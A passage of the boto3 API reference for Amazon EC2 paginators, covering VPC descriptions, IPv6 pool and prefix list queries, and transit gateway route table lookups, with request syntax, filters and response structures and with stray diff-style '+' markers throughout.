**Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + - **Tags** _(list) --_ + + Any tags assigned to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection. + + +_class_ EC2.Paginator.DescribeVpcs + +paginator = client.get_paginator('describe_vpcs') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VpcIds=[ + 'string', + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + - cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + - cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + - cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + - dhcp-options-id - The ID of a set of DHCP options. + - ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + - ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + - ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + - ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + - isDefault - Indicates whether the VPC is the default VPC. + - owner-id - The ID of the AWS account that owns the VPC. + - state - The state of the VPC (pending | available ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **VpcIds** (_list_) -- + + One or more VPC IDs. + + Default: Describes all your VPCs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Vpcs': [ + { + 'CidrBlock': 'string', + 'DhcpOptionsId': 'string', + 'State': 'pending'|'available', + 'VpcId': 'string', + 'OwnerId': 'string', + 'InstanceTenancy': 'default'|'dedicated'|'host', + 'Ipv6CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + }, + 'NetworkBorderGroup': 'string', + 'Ipv6Pool': 'string' + }, + ], + 'CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'CidrBlock': 'string', + 'CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'IsDefault': True|False, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Vpcs** _(list) --_ + + Information about one or more VPCs. + + - _(dict) --_ + + Describes a VPC. + + - **CidrBlock** _(string) --_ + + The primary IPv4 CIDR block for the VPC. + + - **DhcpOptionsId** _(string) --_ + + The ID of the set of DHCP options you've associated with the VPC. + + - **State** _(string) --_ + + The current state of the VPC. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC. + + - **InstanceTenancy** _(string) --_ + + The allowed tenancy of instances launched into the VPC. + + - **Ipv6CidrBlockAssociationSet** _(list) --_ + + Information about the IPv6 CIDR blocks associated with the VPC. + + - _(dict) --_ + + Describes an IPv6 CIDR block associated with a VPC. + + - **AssociationId** _(string) --_ + + The association ID for the IPv6 CIDR block. + + - **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + - **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + - **State** _(string) --_ + + The state of the CIDR block. + + - **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + - **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + - **Ipv6Pool** _(string) --_ + + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + - **CidrBlockAssociationSet** _(list) --_ + + Information about the IPv4 CIDR blocks associated with the VPC. + + - _(dict) --_ + + Describes an IPv4 CIDR block associated with a VPC. + + - **AssociationId** _(string) --_ + + The association ID for the IPv4 CIDR block. + + - **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + - **CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + - **State** _(string) --_ + + The state of the CIDR block. + + - **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + - **IsDefault** _(boolean) --_ + + Indicates whether the VPC is the default VPC. + + - **Tags** _(list) --_ + + Any tags assigned to the VPC. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.GetAssociatedIpv6PoolCidrs + +paginator = client.get_paginator('get_associated_ipv6_pool_cidrs') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.get_associated_ipv6_pool_cidrs()](#EC2.Client.get_associated_ipv6_pool_cidrs "EC2.Client.get_associated_ipv6_pool_cidrs"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetAssociatedIpv6PoolCidrs) + +**Request Syntax** + +response_iterator = paginator.paginate( + PoolId='string', + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **PoolId** (_string_) -- + + **[REQUIRED]** + + The ID of the IPv6 address pool. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Ipv6CidrAssociations': [ + { + 'Ipv6Cidr': 'string', + 'AssociatedResource': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Ipv6CidrAssociations** _(list) --_ + + Information about the IPv6 CIDR block associations. + + - _(dict) --_ + + Describes an IPv6 CIDR block association. + + - **Ipv6Cidr** _(string) --_ + + The IPv6 CIDR block. + + - **AssociatedResource** _(string) --_ + + The resource that's associated with the IPv6 CIDR block. + + +_class_ EC2.Paginator.GetGroupsForCapacityReservation + +paginator = client.get_paginator('get_groups_for_capacity_reservation') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.get_groups_for_capacity_reservation()](#EC2.Client.get_groups_for_capacity_reservation "EC2.Client.get_groups_for_capacity_reservation"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetGroupsForCapacityReservation) + +**Request Syntax** + +response_iterator = paginator.paginate( + CapacityReservationId='string', + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **CapacityReservationId** (_string_) -- + + **[REQUIRED]** + + The ID of the Capacity Reservation. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CapacityReservationGroups': [ + { + 'GroupArn': 'string', + 'OwnerId': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **CapacityReservationGroups** _(list) --_ + + Information about the resource groups to which the Capacity Reservation has been added. + + - _(dict) --_ + + Describes a resource group to which a Capacity Reservation has been added. + + - **GroupArn** _(string) --_ + + The ARN of the resource group. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the resource group. + + +_class_ EC2.Paginator.GetManagedPrefixListAssociations + +paginator = client.get_paginator('get_managed_prefix_list_associations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.get_managed_prefix_list_associations()](#EC2.Client.get_managed_prefix_list_associations "EC2.Client.get_managed_prefix_list_associations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetManagedPrefixListAssociations) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + PrefixListId='string', + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PrefixListId** (_string_) -- + + **[REQUIRED]** + + The ID of the prefix list. + +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PrefixListAssociations': [ + { + 'ResourceId': 'string', + 'ResourceOwner': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **PrefixListAssociations** _(list) --_ + + Information about the associations. + + - _(dict) --_ + + Describes the resource with which a prefix list is associated. + + - **ResourceId** _(string) --_ + + The ID of the resource. + + - **ResourceOwner** _(string) --_ + + The owner of the resource. + + +_class_ EC2.Paginator.GetManagedPrefixListEntries + +paginator = client.get_paginator('get_managed_prefix_list_entries') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.get_managed_prefix_list_entries()](#EC2.Client.get_managed_prefix_list_entries "EC2.Client.get_managed_prefix_list_entries"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetManagedPrefixListEntries) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + PrefixListId='string', + TargetVersion=123, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PrefixListId** (_string_) -- + + **[REQUIRED]** + + The ID of the prefix list. + +- **TargetVersion** (_integer_) -- The version of the prefix list for which to return the entries. The default is the current version. +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Entries': [ + { + 'Cidr': 'string', + 'Description': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Entries** _(list) --_ + + Information about the prefix list entries. + + - _(dict) --_ + + Describes a prefix list entry. + + - **Cidr** _(string) --_ + + The CIDR block. + + - **Description** _(string) --_ + + The description. + + +_class_ EC2.Paginator.GetTransitGatewayAttachmentPropagationsdefinition") + +paginator = client.get_paginator('get_transit_gateway_attachment_propagations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.get_transit_gateway_attachment_propagations()](#EC2.Client.get_transit_gateway_attachment_propagations "EC2.Client.get_transit_gateway_attachment_propagations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetTransitGatewayAttachmentPropagations) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayAttachmentId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the attachment. + +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - transit-gateway-route-table-id - The ID of the transit gateway route table. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayAttachmentPropagations': [ + { + 'TransitGatewayRouteTableId': 'string', + 'State': 'enabling'|'enabled'|'disabling'|'disabled' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayAttachmentPropagations** _(list) --_ + + Information about the propagation route tables. + + - _(dict) --_ + + Describes a propagation route table. + + - **TransitGatewayRouteTableId** _(string) --_ + + The ID of the propagation route table. + + - **State** _(string) --_ + + The state of the propagation route table. + + +_class_ EC2.Paginator.GetTransitGatewayMulticastDomainAssociationsdefinition") + +paginator = client.get_paginator('get_transit_gateway_multicast_domain_associations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.get_transit_gateway_multicast_domain_associations()](#EC2.Client.get_transit_gateway_multicast_domain_associations "EC2.Client.get_transit_gateway_multicast_domain_associations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetTransitGatewayMulticastDomainAssociations) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayMulticastDomainId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - resource-id - The ID of the resource. + - resource-type - The type of resource. The valid value is: vpc . + - state - The state of the subnet association. Valid values are associated | associating | disassociated | disassociating . + - subnet-id - The ID of the subnet. + - transit-gateway-attachment-id - The id of the transit gateway attachment. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'MulticastDomainAssociations': [ + { + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceOwnerId': 'string', + 'Subnet': { + 'SubnetId': 'string', + 'State': 'pendingAcceptance'|'associating'|'associated'|'disassociating'|'disassociated'|'rejected'|'failed' + } + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **MulticastDomainAssociations** _(list) --_ + + Information about the multicast domain associations. + + - _(dict) --_ + + Describes the resources associated with the transit gateway multicast domain. + + - **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway attachment. + + - **ResourceId** _(string) --_ + + The ID of the resource. + + - **ResourceType** _(string) --_ + + The type of resource, for example a VPC attachment. + + - **ResourceOwnerId** _(string) --_ + + The ID of the AWS account that owns the transit gateway multicast domain association resource. + + - **Subnet** _(dict) --_ + + The subnet associated with the transit gateway multicast domain. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + - **State** _(string) --_ + + The state of the subnet association. + + +_class_ EC2.Paginator.GetTransitGatewayPrefixListReferences + +paginator = client.get_paginator('get_transit_gateway_prefix_list_references') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.get_transit_gateway_prefix_list_references()](#EC2.Client.get_transit_gateway_prefix_list_references "EC2.Client.get_transit_gateway_prefix_list_references"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetTransitGatewayPrefixListReferences) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayRouteTableId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - attachment.resource-id - The ID of the resource for the attachment. + - attachment.resource-type - The type of resource for the attachment. Valid values are vpc | vpn | direct-connect-gateway | peering . + - attachment.transit-gateway-attachment-id - The ID of the attachment. + - is-blackhole - Whether traffic matching the route is blocked (true | false ). + - prefix-list-id - The ID of the prefix list. + - prefix-list-owner-id - The ID of the owner of the prefix list. + - state - The state of the prefix list reference (pending | available | modifying | deleting ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayPrefixListReferences': [ + { + 'TransitGatewayRouteTableId': 'string', + 'PrefixListId': 'string', + 'PrefixListOwnerId': 'string', + 'State': 'pending'|'available'|'modifying'|'deleting', + 'Blackhole': True|False, + 'TransitGatewayAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceId': 'string' + } + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayPrefixListReferences** _(list) --_ + + Information about the prefix list references. + + - _(dict) --_ + + Describes a prefix list reference. + + - **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + - **PrefixListId** _(string) --_ + + The ID of the prefix list. + + - **PrefixListOwnerId** _(string) --_ + + The ID of the prefix list owner. + + - **State** _(string) --_ + + The state of the prefix list reference. + + - **Blackhole** _(boolean) --_ + + Indicates whether traffic that matches this route is dropped. + + - **TransitGatewayAttachment** _(dict) --_ + + Information about the transit gateway attachment. + + - **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + - **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + - **ResourceId** _(string) --_ + + The ID of the resource. + + +_class_ EC2.Paginator.GetTransitGatewayRouteTableAssociationsdefinition") + +paginator = client.get_paginator('get_transit_gateway_route_table_associations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.get_transit_gateway_route_table_associations()](#EC2.Client.get_transit_gateway_route_table_associations "EC2.Client.get_transit_gateway_route_table_associations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetTransitGatewayRouteTableAssociations) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayRouteTableId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - resource-id - The ID of the resource. + - resource-type - The resource type. Valid values are vpc | vpn | direct-connect-gateway | peering | connect . + - transit-gateway-attachment-id - The ID of the attachment. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Associations': [ + { + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'State': 'associating'|'associated'|'disassociating'|'disassociated' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Associations** _(list) --_ + + Information about the associations. + + - _(dict) --_ + + Describes an association between a route table and a resource attachment. + + - **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + - **ResourceId** _(string) --_ + + The ID of the resource. + + - **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + - **State** _(string) --_ + + The state of the association. + + +_class_ EC2.Paginator.GetTransitGatewayRouteTablePropagationsdefinition") + +paginator = client.get_paginator('get_transit_gateway_route_table_propagations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.get_transit_gateway_route_table_propagations()](#EC2.Client.get_transit_gateway_route_table_propagations "EC2.Client.get_transit_gateway_route_table_propagations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetTransitGatewayRouteTablePropagations) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayRouteTableId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - resource-id - The ID of the resource. + - resource-type - The resource type. Valid values are vpc | vpn | direct-connect-gateway | peering | connect . + - transit-gateway-attachment-id - The ID of the attachment. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayRouteTablePropagations': [ + { + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'State': 'enabling'|'enabled'|'disabling'|'disabled' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayRouteTablePropagations** _(list) --_ + + Information about the route table propagations. + + - _(dict) --_ + + Describes a route table propagation. + + - **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + - **ResourceId** _(string) --_ + + The ID of the resource. + + - **ResourceType** _(string) --_ + + The type of resource. Note that the tgw-peering resource type has been deprecated. + + - **State** _(string) --_ + + The state of the resource. + + +_class_ EC2.Paginator.SearchLocalGatewayRoutes + +paginator = client.get_paginator('search_local_gateway_routes') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.search_local_gateway_routes()](#EC2.Client.search_local_gateway_routes "EC2.Client.search_local_gateway_routes"). + +See also: [AWS API 